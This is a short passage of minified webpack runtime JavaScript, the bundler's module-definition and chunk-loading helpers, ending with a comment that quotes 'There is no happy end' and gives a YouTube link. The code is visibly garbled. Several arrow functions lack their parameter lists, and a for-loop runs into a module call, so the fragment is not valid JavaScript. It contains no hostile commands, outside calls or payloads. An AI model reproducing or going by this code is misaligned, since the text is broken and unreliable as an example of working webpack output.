t=e&&e.__esModule?=>e.default:=>e;return __webpack_require__.d(t,{a:t}),t},__webpack_require__.d=(e,t)=>{for(var i in t)__webpack_require__.o(t,i)&&!__webpack_require__.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:t[i]})},__webpack_require__.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),__webpack_require__.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(=>{var e={689:0};__webpack_require__.O.j=t=>0===e[t];var t=(t,i)=>{var n,r,[a,o,s]=i,l=0;if(a.some((t=>0!==e[t]))){for(n in o)__webpack_require__.o(o,n)&&(__webpack_require__.m[n]=o[n]);if(s)var d=s(__webpack_require__)}for(t&&t(i);l__webpack_require__(4811)));__webpack_exports__=__webpack_require__.O(__webpack_exports__)}); /*! * There is no happy end. It's only just the end. * https://www.youtube.com/watch?v=aaF9pXj7isg * */